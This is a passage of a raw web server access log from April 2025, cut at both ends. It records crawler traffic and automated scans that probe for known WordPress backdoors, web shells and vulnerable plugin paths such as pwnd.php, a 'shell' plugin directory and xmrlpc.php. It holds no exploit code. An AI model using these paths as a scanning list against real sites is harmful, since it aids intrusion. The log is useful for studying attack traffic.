x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 34.116.137.191 - - [20/Apr/2025:11:49:10 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone13,2; U; CPU iPhone OS 14_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/15E148 Safari/602.1" 205.169.39.85 - - [20/Apr/2025:11:49:24 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 3.0.94.84 - - [20/Apr/2025:12:26:15 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 43.130.3.122 - - [20/Apr/2025:12:27:35 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 66.212.18.223 - - [20/Apr/2025:13:08:58 -0400] "GET /themes/manage/assets/jquery-file-upload/server/php/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 2602:fb54:9bb:: - - [20/Apr/2025:13:36:23 -0400] "GET /atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)" 195.123.228.112 - - [20/Apr/2025:14:49:33 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36" 138.197.193.203 - - [20/Apr/2025:15:08:34 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 162.0.232.217 - - [20/Apr/2025:15:11:12 -0400] "GET /.well-known/pki-validation/afnew.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [20/Apr/2025:15:13:50 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [20/Apr/2025:15:15:40 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [20/Apr/2025:15:16:25 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [20/Apr/2025:15:18:14 -0400] "GET /.well-known/pki-validation/xmrlpc.php%3fp= HTTP/1.1" 301 795 "-" "get_local:DCV" 185.21.13.119 - - [20/Apr/2025:15:18:31 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 193.56.113.17 - - [20/Apr/2025:15:40:09 -0400] "GET /wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.56.113.19 - - [20/Apr/2025:15:40:10 -0400] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 193.56.113.17 - - [20/Apr/2025:15:40:11 -0400] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 193.56.113.19 - - [20/Apr/2025:15:40:12 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 193.56.113.17 - - [20/Apr/2025:15:40:13 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 193.56.113.19 - - [20/Apr/2025:15:40:14 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 193.56.113.17 - - [20/Apr/2025:15:40:15 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 193.56.113.19 - - [20/Apr/2025:15:40:15 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.56.113.17 - - [20/Apr/2025:15:40:16 -0400] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 193.56.113.19 - - [20/Apr/2025:15:40:17 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 193.56.113.17 - - [20/Apr/2025:15:40:17 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 193.56.113.19 - - [20/Apr/2025:15:40:18 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 193.56.113.17 - - [20/Apr/2025:15:40:19 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.56.113.19 - - [20/Apr/2025:15:40:19 -0400] "GET /wp-content/uploads/2023/05/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.56.113.17 - - [20/Apr/2025:15:40:20 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.56.113.19 - - [20/Apr/2025:15:40:21 -0400] "GET /tiny.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 193.56.113.17 - - [20/Apr/2025:15:40:22 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 193.56.113.19 - - [20/Apr/2025:15:40:23 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.56.113.17 - - [20/Apr/2025:15:40:25 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 193.56.113.19 - - [20/Apr/2025:15:40:27 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 162.0.232.217 - - [20/Apr/2025:15:38:52 -0400] "GET /.well-known/pki-validation/afnew.php HTTP/1.1" 301 795 "-" "get_local:DCV" 193.56.113.17 - - [20/Apr/2025:15:40:28 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 193.56.113.19 - - [20/Apr/2025:15:40:29 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.56.113.17 - - [20/Apr/2025:15:40:30 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 193.56.113.19 - - [20/Apr/2025:15:40:30 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.56.113.17 - - [20/Apr/2025:15:40:31 -0400] "GET /.well-known/acme-challenge/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.56.113.19 - - [20/Apr/2025:15:40:32 -0400] "GET /menu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 193.56.113.17 - - [20/Apr/2025:15:40:32 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 193.56.113.19 - - [20/Apr/2025:15:40:33 -0400] "GET /bs1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 193.56.113.17 - - [20/Apr/2025:15:40:33 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.56.113.19 - - [20/Apr/2025:15:40:34 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 193.56.113.17 - - [20/Apr/2025:15:40:35 -0400] "GET /lv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 193.56.113.19 - - [20/Apr/2025:15:40:36 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 193.56.113.17 - - [20/Apr/2025:15:40:36 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.56.113.19 - - [20/Apr/2025:15:40:36 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 193.56.113.17 - - [20/Apr/2025:15:40:38 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 193.56.113.19 - - [20/Apr/2025:15:40:38 -0400] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.56.113.17 - - [20/Apr/2025:15:40:38 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 193.56.113.19 - - [20/Apr/2025:15:40:39 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.56.113.17 - - [20/Apr/2025:15:40:40 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 162.0.232.217 - - [20/Apr/2025:15:40:59 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [20/Apr/2025:15:41:53 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [20/Apr/2025:15:42:19 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [20/Apr/2025:15:43:12 -0400] "GET /.well-known/pki-validation/xmrlpc.php%3fp= HTTP/1.1" 301 795 "-" "get_local:DCV" 223.113.128.132 - - [20/Apr/2025:16:41:15 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/552.41 (KHTML, like Gecko) Chrome/100.0.492 Safari/537.36" 62.210.80.46 - - [20/Apr/2025:17:05:05 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 185.157.214.24 - - [20/Apr/2025:17:33:45 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 93.158.90.66 - - [20/Apr/2025:17:51:22 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/122.0.6261.89 Mobile/15E148 Safari/604" 93.158.90.71 - - [20/Apr/2025:17:51:25 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/122.0.6261.89 Mobile/15E148 Safari/604" 184.72.121.156 - - [20/Apr/2025:18:10:09 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25" 51.255.83.150 - - [20/Apr/2025:18:17:26 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 CCleaner/130.0.0.0" 54.185.192.90 - - [20/Apr/2025:18:30:31 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36" 49.51.47.100 - - [20/Apr/2025:18:31:56 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 195.191.219.132 - - [20/Apr/2025:18:44:42 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.0; http://mj12bot.com/)" 195.191.219.132 - - [20/Apr/2025:18:44:43 -0400] "GET /category/digital-marketing HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.0; http://mj12bot.com/)" 195.191.219.132 - - [20/Apr/2025:18:44:45 -0400] "GET /local-seo-services HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.0; http://mj12bot.com/)" 40.69.37.22 - - [20/Apr/2025:18:50:55 -0400] "GET /wp-includes/block-bindings/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:50:56 -0400] "GET /wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:50:57 -0400] "GET /wp-setting.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:50:58 -0400] "GET /wp-content/themes/alera/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:50:58 -0400] "GET /wp-content/plugins/elementor/assets/images/app/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:50:59 -0400] "GET /wp-comments-pos.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:00 -0400] "GET /wp-content/themes/ripro/inc/admin/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:01 -0400] "GET /wp-includes/l10n/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:01 -0400] "GET /index/b/home/h213348220/fundlead.ru/docs/wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:02 -0400] "GET /wp-includes/blocks/archives/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:03 -0400] "GET /wp-includes/sodium_compat/namespaced/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:03 -0400] "GET /wp-includes/blocks/latest-comments/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:04 -0400] "GET /wp-content/plugins/woocommerce/assets/client/blocks/products-by-attribute/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:05 -0400] "GET /wp-content/uploads/2023/03/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:05 -0400] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:06 -0400] "GET /Content/UserFiles/News/Orjinal/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:07 -0400] "GET /wp-content/themes/sketch/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:08 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:08 -0400] "GET /templates/p/snippets/g8ofh3h3db/raw/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:09 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:10 -0400] "GET /wp-content/plugins/elementor/assets/images/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:10 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:11 -0400] "GET /wp-link.php/wp-content/plugins/wp-content/uploads/wp_live_chat/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:12 -0400] "GET /wp-cro.php/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:13 -0400] "GET /wp-includes/Requests/abou.php/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:14 -0400] "GET /wordpress/wp-includes/js/mediaelement/renderers/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:15 -0400] "GET /wp-content/plugins/oxygen/component-framework/components/classes/gallery/photoswipe/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:15 -0400] "GET /map.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:16 -0400] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:17 -0400] "GET /wp-content/plugins/elementor-pro/modules/woocommerce/skins/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:18 -0400] "GET /wp-content/plugins/seo-by-rank-math/vendor/woocommerce/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:20 -0400] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:22 -0400] "GET /wp-content/plugins/ultimate-addons-for-gutenberg/blocks-config/uagb-controls/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:24 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:25 -0400] "GET /wp-content/themes/twenty/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:26 -0400] "GET /wp-includes/js/tinymce/themes/inlite/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:27 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:28 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:29 -0400] "GET /newlms/assets/frontend/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:30 -0400] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:31 -0400] "GET /wp-content/plugins/shell/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:32 -0400] "GET /wp-content/themes/blocksy/static/sass/frontend/6-layout/entries/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:33 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:34 -0400] "GET /wp-includes/Requests/abou.php/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:35 -0400] "GET /wp/wp-content/themes/twentytwenty/template-parts/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:35 -0400] "GET /wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:36 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:37 -0400] "GET /wp-content/plugins/erinyani/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:38 -0400] "GET /wp-content/plugins/wordpress-seo/vendor_prefixed/symfony/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:39 -0400] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:39 -0400] "GET /.well-known/acme-challenge/action=./ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:41 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:41 -0400] "GET /vendor/symfony/serializer/Mapping/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:42 -0400] "GET /wp-content/themes/blocksy/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:42 -0400] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:43 -0400] "GET /assets/admin/plugins/ckeditor/plugins/scayt/dialogs/dialogs/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:43 -0400] "GET /wp-includes/interactivity-api/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:44 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:45 -0400] "GET /wp-includes/js/tinymce/plugins/image/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:45 -0400] "GET /wp-includes/Requests/Response/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:46 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:46 -0400] "GET /files/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:47 -0400] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:48 -0400] "GET /wp-includes/SimplePie/HTTP/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:48 -0400] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:49 -0400] "GET /wp-content/plugins/woocommerce/includes/gateways/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:49 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:50 -0400] "GET /wp-content/fonts//wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:50 -0400] "GET /images/icons/rouyg/hppd/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:51 -0400] "GET /wp-includes/blocks/freeform/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:52 -0400] "GET /wp-content/plugins/insert-headers-and-footers/includes/auto-insert/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:52 -0400] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:53 -0400] "GET /wp-content/themes/twentytwenty/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:53 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:54 -0400] "GET /wp-includesmaps/p/snippets/g8ofh3h3db/raw/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:55 -0400] "GET /wp-content/plugins/file-manager-advanced/application/library/codemirror/mode/jsx/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:55 -0400] "GET /templates/ja_purity/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:56 -0400] "GET /wp-admin/css/colors/light/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:57 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:57 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:58 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:58 -0400] "GET /wp-content/plugins/generateblocks/src/components/unit-picker/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:59 -0400] "GET /wp-includesmaps/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:51:59 -0400] "GET /wp-include.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:00 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:01 -0400] "GET /sos/NewTheme/images/VillagesPictures/Dhodial/Dhodial/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:01 -0400] "GET /wp-includes/css/dist/block-library/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:02 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:03 -0400] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:03 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:04 -0400] "GET 